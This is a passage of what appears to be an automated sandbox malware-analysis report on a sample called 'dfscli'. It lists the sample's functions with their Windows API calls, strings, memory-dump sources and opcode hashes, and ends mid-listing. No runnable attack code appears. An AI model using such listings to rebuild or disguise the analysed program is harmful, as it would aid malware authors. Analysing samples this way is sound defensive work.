Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,00000008,00000480), ref: 02234344

Memory Dump Source

Source File: 00000002.00000002.2117594434.0000000002231000.00000020.00001000.00020000.00000000.sdmp, Offset: 02230000, based on PE: true

Associated: 00000002.00000002.2117580571.0000000002230000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2117609013.000000000223D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2117634381.0000000002240000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2117634381.0000000002245000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2117634381.0000000002252000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2230000_dfscli.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 4ea84e08adada8ab621872a34a5346ba314854720047554f852def73907b6ff2
Instruction ID: 296b42382ff2aefb50094ea54d7991c034f64f022902fbde112176804e9fbc5f
Opcode Fuzzy Hash: 4ea84e08adada8ab621872a34a5346ba314854720047554f852def73907b6ff2
Instruction Fuzzy Hash: B3E065B6B613026BDB15F6F5745866B25EBABC0A8135448A9F401CB348EE748D014BD0

Function 00403250 Relevance: 1.5, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

FindResourceA.KERNEL32(?,?,00000006), ref: 00403267

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: FindResource
String ID:
API String ID: 1635176832-0
Opcode ID: 3fb110486180756d7062ab4bb5e945649043ed0de42859ea3d5401de1059676a
Instruction ID: 81cb0e02c961f06c601f38abdce0fa68ed7433aa8319f068ff8f8c5a31199cb9
Opcode Fuzzy Hash: 3fb110486180756d7062ab4bb5e945649043ed0de42859ea3d5401de1059676a
Instruction Fuzzy Hash: 57D0C2263000202AE5101A0A7C01DBB679CDBC5636B01407FF881EA150D2349C03A1B1

Function 021C27B0 Relevance: 1.5, APIs: 1, Instructions: 14COMMON

Download Yara Rule

APIs

ExitProcess.KERNEL32 ref: 021C27D9

Memory Dump Source

Source File: 00000002.00000002.2117474523.00000000021C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 021C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_21c1000_dfscli.jbxd

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: dc788451ce77f23f7ff2bc00cbd212957274b8706c445c65905decfb28f47e4a
Instruction ID: 280596a6fe94c5078c6dc4b11a7193f30e0a75c0d5f26a5b63ac34db50331c57
Opcode Fuzzy Hash: dc788451ce77f23f7ff2bc00cbd212957274b8706c445c65905decfb28f47e4a
Instruction Fuzzy Hash: E2D05EB8D80208BFD700EFA4E946B9DBBB4EB04312F208069E90467240E7705A248F52

Function 021C1820 Relevance: 1.3, APIs: 1, Instructions: 11COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(?,?,?), ref: 021C182F

Memory Dump Source

Source File: 00000002.00000002.2117474523.00000000021C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 021C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_21c1000_dfscli.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: d0f3e4ff2abcb5624e12bde1add21b0f677e9b16e3495b6585c38dd98876ea35
Instruction ID: 30a1b28d409a6a9ef95a6e661cbcf9d5a69e4ed0df47bdad67b9bdd875e6279c
Opcode Fuzzy Hash: d0f3e4ff2abcb5624e12bde1add21b0f677e9b16e3495b6585c38dd98876ea35
Instruction Fuzzy Hash: E3C04C7A55420CAB8B04DF98E884DEB7BEDBB8C610B14C548BA1D87200C630F9608BA4

Non-executed Functions

Function 00424A99 Relevance: 15.1, APIs: 10, Instructions: 102stringfileCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00424A9E
GetFullPathNameA.KERNEL32(?,00000104,?,?,?,?,?), ref: 00424AC8
lstrcpynA.KERNEL32(?,?,00000104,?,?,?), ref: 00424AD9

Part of subcall function 00424A57: lstrcpynA.KERNEL32(00000000,?,00000104,?,?,?), ref: 00424A7C
Part of subcall function 00424A57: PathStripToRootA.SHLWAPI(00000000,?,?,?), ref: 00424A83

PathIsUNCA.SHLWAPI(?,?,?,?,?,?), ref: 00424B0E
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,?,?,00000000,00000000,?,?,?), ref: 00424B32
CharUpperA.USER32(?,?,?,?), ref: 00424B4A
FindFirstFileA.KERNEL32(?,?,?,?,?), ref: 00424B63
FindClose.KERNEL32(00000000,?,?,?), ref: 00424B6F
lstrlenA.KERNEL32(?,?,?,?), ref: 00424B8C
lstrcpyA.KERNEL32(?,?,?,?,?), ref: 00424BAB

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: Path$Findlstrcpyn$CharCloseFileFirstFullH_prologInformationNameRootStripUpperVolumelstrcpylstrlen
String ID:
API String ID: 4080879615-0
Opcode ID: 0673f5eb62677d010cc7cd393616d49ad2b116331357cec368046e2544c01408
Instruction ID: 4b06695585c640ab3fe26250615955364903dab726ca119cf8fbbfb20b083b72
Opcode Fuzzy Hash: 0673f5eb62677d010cc7cd393616d49ad2b116331357cec368046e2544c01408
Instruction Fuzzy Hash: F1317531700128EBDB219FA5EC88BEEBBBCEF84355F4045A6F515E6250C7389E858B58

Function 00418CFE Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 134COMMON

Download Yara Rule

APIs

_TranslateName.LIBCMT ref: 00418D59
_TranslateName.LIBCMT ref: 00418DA2
IsValidCodePage.KERNEL32(00000000,00000082,?,0043C8F0,00415C9D,?,0043F8E8,?), ref: 00418E06
IsValidLocale.KERNEL32(00000001), ref: 00418E1C
_strcat.LIBCMT ref: 00418E5F

Part of subcall function 00418BEC: _strlen.LIBCMT ref: 00418BF2
Part of subcall function 00418BEC: EnumSystemLocalesA.KERNEL32(00418802,00000001,?,0043C8F0,00415C9D,?,0043F8E8,?), ref: 00418C0C

Strings

Norwegian-Nynorsk, xrefs: 00418E59
8:C, xrefs: 00418D9D

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: NameTranslateValid$CodeEnumLocaleLocalesPageSystem_strcat_strlen
String ID: 8:C$Norwegian-Nynorsk
API String ID: 4291917928-2144728078
Opcode ID: 574a487d4df5138f39aaf0a3a251f485e9dbddddad8006a7e9d6517df36a9767
Instruction ID: 2c2c8765f4b236233be1cdb350641c934f88d795d8981d40c2d079dedaed01f1
Opcode Fuzzy Hash: 574a487d4df5138f39aaf0a3a251f485e9dbddddad8006a7e9d6517df36a9767
Instruction Fuzzy Hash: 6A4185B1B41340BBDB30AB61AC81BEB37A5AF65700B15143FE545D62F1DF3988C9862E

Function 0041B3F3 Relevance: 9.1, APIs: 6, Instructions: 102COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,00000001,00000000,00000000,00433B40,00000018,0041A0FB,?,?,?,00000080,00000000,?,?,00000001), ref: 0041B410
GetLastError.KERNEL32(?,?,00000001), ref: 0041B422
GetLocaleInfoW.KERNEL32(00000001,?,00000000,00000000,00433B40,00000018,0041A0FB,?,?,?,00000080,00000000,?,?,00000001), ref: 0041B46D
GetLocaleInfoW.KERNEL32(00000001,?,?,00000000,?,?,00000001), ref: 0041B4DC
WideCharToMultiByte.KERNEL32(?,00000000,?,000000FF,?,?,00000000,00000000,?,00000000,?,?,00000001), ref: 0041B4FE

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: InfoLocale$ByteCharErrorLastMultiWide
String ID:
API String ID: 97497842-0
Opcode ID: ec53c0ac90a504556e3c511ba40ffa224ed2ccbe603bfc9167057ac1e3787858
Instruction ID: bfaabb92e0a3a5bf762b7feaf1de5f82b449aebafdeaeb8c174feb8ae06c27e5
Opcode Fuzzy Hash: ec53c0ac90a504556e3c511ba40ffa224ed2ccbe603bfc9167057ac1e3787858
Instruction Fuzzy Hash: B3318D70901229FBCF218F91DD459EF7F75EF09764B20812AF411A6262C7388A91DBE9

Function 0041B2C3 Relevance: 9.1, APIs: 6, Instructions: 97COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,00000001,00000000,00000000,00433B30,00000018,0041A1AF,?,?,0043F978,00000004,00000000,?,?,00000001), ref: 0041B2E0
GetLastError.KERNEL32(?,?,00000001), ref: 0041B2F2
GetLocaleInfoW.KERNEL32(00000001,?,?,?,00433B30,00000018,0041A1AF,?,?,0043F978,00000004,00000000,?,?,00000001), ref: 0041B31C
GetLocaleInfoA.KERNEL32(00000001,?,00000000,00000000,00433B30,00000018,0041A1AF,?,?,0043F978,00000004,00000000,?,?,00000001), ref: 0041B34B
GetLocaleInfoA.KERNEL32(00000001,?,?,?,?,?,00000001), ref: 0041B3B2
MultiByteToWideChar.KERNEL32(?,00000001,?,000000FF,?,?,?,?,?,?,00000001), ref: 0041B3D2

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: InfoLocale$ByteCharErrorLastMultiWide
String ID:
API String ID: 97497842-0
Opcode ID: 4f91be03a2c579940054dd89145ab35aa975abc4abe92bc42905e97746423a69
Instruction ID: ba34957b19bfa83a15de8861c2d6b5f59c3863597e2d4372a0d3dd5a209f6675
Opcode Fuzzy Hash: 4f91be03a2c579940054dd89145ab35aa975abc4abe92bc42905e97746423a69
Instruction Fuzzy Hash: 48317E7090061DEBCF229F55DD459EF7B75FF48354B24412BF821A2260D33889A1DB99

Function 00403550 Relevance: 9.1, APIs: 6, Instructions: 67windowCOMMON

Download Yara Rule

APIs

IsIconic.USER32(?), ref: 0040355A

Part of subcall function 004262F7: __EH_prolog.LIBCMT ref: 004262FC
Part of subcall function 004262F7: BeginPaint.USER32(?,?,?,?,0041FE9A), ref: 0042632A

SendMessageA.USER32(?,00000027,?,00000000), ref: 00403581
GetSystemMetrics.USER32(0000000B), ref: 0040358F
GetSystemMetrics.USER32(0000000C), ref: 00403595
GetClientRect.USER32(?,?), ref: 004035A2
DrawIcon.USER32(?,?,?,?), ref: 004035DA

Part of subcall function 00426352: __EH_prolog.LIBCMT ref: 00426357
Part of subcall function 00426352: EndPaint.USER32(?,?,?,?,0041FEC0,?), ref: 00426374

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: H_prologMetricsPaintSystem$BeginClientDrawIconIconicMessageRectSend
String ID:
API String ID: 1530917984-0
Opcode ID: f17d443d2831e9e86dea4b6b252fb4e05b77bb08401c64c5df8ed99b70b6788c
Instruction ID: c95341d9d7590c9a11ddb044179971413f278dffb205523bc6025f8df687dda5
Opcode Fuzzy Hash: f17d443d2831e9e86dea4b6b252fb4e05b77bb08401c64c5df8ed99b70b6788c
Instruction Fuzzy Hash: 841160B13143019FD224EF7DDC99D5B77A9ABC8214F444A2DF586C3290DA34E8068A65

Function 00403600 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 100timeCOMMON

Download Yara Rule

APIs

Part of subcall function 004215CD: __EH_prolog.LIBCMT ref: 004215D2

Part of subcall function 00423C70: GetDlgItem.USER32(?,?), ref: 00423C7D

Part of subcall function 00423DD5: EnableWindow.USER32(?,?), ref: 00423DE2

SetTimer.USER32(?,00000001,00000001,00000000), ref: 004036BE
listen.WS2_32(?,00000005), ref: 004036FC
SetTimer.USER32(?,00000001,00000001,00000000), ref: 0040370C

Part of subcall function 0042C0CB: __EH_prolog.LIBCMT ref: 0042C0D0
Part of subcall function 0042C0CB: inet_addr.WS2_32(?), ref: 0042C10F
Part of subcall function 0042C0CB: gethostbyname.WS2_32(?), ref: 0042C120
Part of subcall function 0042C0CB: htons.WS2_32(?), ref: 0042C137

SetTimer.USER32(?,00000001,00000001,00000000), ref: 0040372C

Strings

Busy now, xrefs: 00403718

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: Timer$H_prolog$EnableItemWindowgethostbynamehtonsinet_addrlisten
String ID: Busy now
API String ID: 1258581902-130138695
Opcode ID: fce8c989688a1dac9d09d51dfa971bfc43fe77928b07dafcd80c6029d8334aa1
Instruction ID: 6490c2d23ba4975c4b10ba10ff6ed106fbde2c758548d969700f79071d26b33c
Opcode Fuzzy Hash: fce8c989688a1dac9d09d51dfa971bfc43fe77928b07dafcd80c6029d8334aa1
Instruction Fuzzy Hash: FC31243139072077E9356B72AC97FAE22A65B84B15F40051DB206AF1C1DEADBA41874C

Function 00427F61 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 43librarystringCOMMON

Download Yara Rule

APIs

lstrcpyA.KERNEL32(00000800,LOC), ref: 00427F84
LoadLibraryA.KERNEL32(?), ref: 00427FB7
GetLocaleInfoA.KERNEL32(00000800,00000003,00000800,00000004), ref: 00427FC7

Strings

LOC, xrefs: 00427F7E

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: InfoLibraryLoadLocalelstrcpy
String ID: LOC
API String ID: 864663389-519433814
Opcode ID: 9b864cf7d00240f33efc80dbe4055dc1b43c4b1b79d0572f7f5122539e718ff0
Instruction ID: 80581f1108e614f4ea904bb7e7a22fcd021204f87db94054b61d7c27fe4284fc
Opcode Fuzzy Hash: 9b864cf7d00240f33efc80dbe4055dc1b43c4b1b79d0572f7f5122539e718ff0
Instruction Fuzzy Hash: 9601F730B0C118EBDB14DB61ED45ADB376CEB00320F418562FA16E2190E738CA058BA9

Function 00422175 Relevance: 6.0, APIs: 4, Instructions: 41keyboardwindowCOMMON

Download Yara Rule

APIs

Part of subcall function 00423CEB: GetWindowLongA.USER32(?,000000F0), ref: 00423CF6

GetKeyState.USER32(00000010), ref: 00422199
GetKeyState.USER32(00000011), ref: 004221A2
GetKeyState.USER32(00000012), ref: 004221AB
SendMessageA.USER32(?,00000111,0000E146,00000000), ref: 004221C1

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: State$LongMessageSendWindow
String ID:
API String ID: 1063413437-0
Opcode ID: aed42ab7bb75c1cd56564738b3e39d445ed7b92ea90c531288bc4bc1f9d8c3dd
Instruction ID: 81c6e2ddc2ea8cfb9092195715bcc3f3fea8f194ae87aed2471ca2276cf2a0cc
Opcode Fuzzy Hash: aed42ab7bb75c1cd56564738b3e39d445ed7b92ea90c531288bc4bc1f9d8c3dd
Instruction Fuzzy Hash: E2F0E93A34036B35D92436777D01FB610144F41BD8FC1053AB702FA1E2C9D98C125239

Function 02238CD0 Relevance: .1, Instructions: 131COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2117594434.0000000002231000.00000020.00001000.00020000.00000000.sdmp, Offset: 02230000, based on PE: true

Associated: 00000002.00000002.2117580571.0000000002230000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2117609013.000000000223D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2117634381.0000000002240000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2117634381.0000000002245000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2117634381.0000000002252000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2230000_dfscli.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: da4503faa85e2536fbe8d3d6130376e8d800ca541ea1d2d3a56c6e55e03e2750
Instruction ID: 1a67a81331231608b1f16fb79b598800c45d2d23ec3d36087902b8a1e38d23a9
Opcode Fuzzy Hash: da4503faa85e2536fbe8d3d6130376e8d800ca541ea1d2d3a56c6e55e03e2750
Instruction Fuzzy Hash: 3541BBE6B263069BEB66AAF9685473B72D69FC4504B14086AF905CF24CEF64CD4047C3

Function 0042A305 Relevance: 42.0, APIs: 12, Strings: 12, Instructions: 44registrywindowCOMMON

Download Yara Rule

APIs

RegisterWindowMessageA.USER32(Native), ref: 0042A314
RegisterWindowMessageA.USER32(OwnerLink), ref: 0042A31D
RegisterWindowMessageA.USER32(ObjectLink), ref: 0042A327
RegisterWindowMessageA.USER32(Embedded Object), ref: 0042A331
RegisterWindowMessageA.USER32(Embed Source), ref: 0042A33B
RegisterWindowMessageA.USER32(Link Source), ref: 0042A345
RegisterWindowMessageA.USER32(Object Descriptor), ref: 0042A34F
RegisterWindowMessageA.USER32(Link Source Descriptor), ref: 0042A359
RegisterWindowMessageA.USER32(FileName), ref: 0042A363
RegisterWindowMessageA.USER32(FileNameW), ref: 0042A36D
RegisterWindowMessageA.USER32(Rich Text Format), ref: 0042A377
RegisterWindowMessageA.USER32(RichEdit Text and Objects), ref: 0042A381

Strings

Rich Text Format, xrefs: 0042A36F
Link Source Descriptor, xrefs: 0042A351
Embedded Object, xrefs: 0042A329
FileName, xrefs: 0042A35B
RichEdit Text and Objects, xrefs: 0042A379
OwnerLink, xrefs: 0042A316
FileNameW, xrefs: 0042A365
Link Source, xrefs: 0042A33D
ObjectLink, xrefs: 0042A31F
Native, xrefs: 0042A30D
Embed Source, xrefs: 0042A333
Object Descriptor, xrefs: 0042A347

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: MessageRegisterWindow
String ID: Embed Source$Embedded Object$FileName$FileNameW$Link Source$Link Source Descriptor$Native$Object Descriptor$ObjectLink$OwnerLink$Rich Text Format$RichEdit Text and Objects
API String ID: 1814269913-2889995556
Opcode ID: b09424a890d9c2d964cd6ab38d7185a386422683ead705cd42c27e26f868f6a1
Instruction ID: fc5418e7bedd38ffc0e11e4f4bc2214e5acc9818e2d4631a821a168c411807f2
Opcode Fuzzy Hash: b09424a890d9c2d964cd6ab38d7185a386422683ead705cd42c27e26f868f6a1
Instruction Fuzzy Hash: 8E018C70A407845ACB30BFB69C09D4BBEE0EEC9B107615E6FE495A7660D6BCD001CF48

Function 00427FF6 Relevance: 38.7, APIs: 17, Strings: 5, Instructions: 167registrylibraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll), ref: 00428019
GetProcAddress.KERNEL32(00000000,GetUserDefaultUILanguage), ref: 00428024
ConvertDefaultLocale.KERNEL32(?), ref: 00428055
ConvertDefaultLocale.KERNEL32(?), ref: 0042805D
GetProcAddress.KERNEL32(?,GetSystemDefaultUILanguage), ref: 0042806A
ConvertDefaultLocale.KERNEL32(?), ref: 00428084
ConvertDefaultLocale.KERNEL32(000003FF), ref: 0042808A
GetVersion.KERNEL32 ref: 00428098
RegOpenKeyExA.ADVAPI32(80000001,Control Panel\Desktop\ResourceLocale,00000000,00020019,?), ref: 004280BD
RegQueryValueExA.ADVAPI32(?,00000000,00000000,?,?,?), ref: 004280E3
ConvertDefaultLocale.KERNEL32(?), ref: 0042812F
ConvertDefaultLocale.KERNEL32(76230A60), ref: 00428135
RegCloseKey.ADVAPI32(?), ref: 00428140

Strings

GetSystemDefaultUILanguage, xrefs: 0042805F
ntdll.dll, xrefs: 00428148
kernel32.dll, xrefs: 0042800C
GetUserDefaultUILanguage, xrefs: 0042801B
Control Panel\Desktop\ResourceLocale, xrefs: 004280B0

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: ConvertDefaultLocale$AddressProc$CloseHandleModuleOpenQueryValueVersion
String ID: Control Panel\Desktop\ResourceLocale$GetSystemDefaultUILanguage$GetUserDefaultUILanguage$kernel32.dll$ntdll.dll
API String ID: 780041395-483790700
Opcode ID: 978b5882cf4835e7424ef31a4d6838547d496389b0aa7b075c70622b72c37f28
Instruction ID: 2dc31b13f6de58c0e78e48cd1bee0818dccec789095d0f28fd6a06ab5592f720
Opcode Fuzzy Hash: 978b5882cf4835e7424ef31a4d6838547d496389b0aa7b075c70622b72c37f28
Instruction Fuzzy Hash: A5514B71F40229AFDF109FE6DC85ABEBAB8EB48354F54043BF501E3290DA7C59419B68

Function 00422E50 Relevance: 33.4, APIs: 16, Strings: 3, Instructions: 167stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00429CA6: __EH_prolog.LIBCMT ref: 00429CAB

CallNextHookEx.USER32(?,00000003,?,?), ref: 00422E85
GetClassLongA.USER32(?,000000E6), ref: 00422ECA
GlobalGetAtomNameA.KERNEL32(?,?,00000005), ref: 00422EF6
lstrcmpiA.KERNEL32(?,ime), ref: 00422F05
SetWindowLongA.USER32(?,000000FC,Function_0002242E), ref: 00422F3F
CallNextHookEx.USER32(?,00000003,?,?), ref: 00423043
UnhookWindowsHookEx.USER32(?), ref: 00423054

Strings

AfxOldWndProc423, xrefs: 00422FFA, 00422FFF, 0042300C, 00423016, 00423021
#32768, xrefs: 00422F80, 00422F85, 00422FD1
ime, xrefs: 00422EFF

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: Hook$CallLongNext$AtomClassGlobalH_prologNameUnhookWindowWindowslstrcmpi
String ID: #32768$AfxOldWndProc423$ime
API String ID: 3204395069-4034971020
Opcode ID: 2e54a2d68c0ca1e145083fe81b64065eb11ebc909a731c844331e9d10c2e6431
Instruction ID: a72a045e4e3713aab608079d00397e783e2f759094d70b61f3d5639fb80dd1df
Opcode Fuzzy Hash: 2e54a2d68c0ca1e145083fe81b64065eb11ebc909a731c844331e9d10c2e6431
Instruction Fuzzy Hash: 6951C331700124BBDF219F61ED48B9E7BB4AF18361F908166F814A62A1C778DE45DBAC

Function 00404FF2 Relevance: 29.8, APIs: 8, Strings: 9, Instructions: 78libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(USER32,?,?,?,00405143), ref: 0040501B
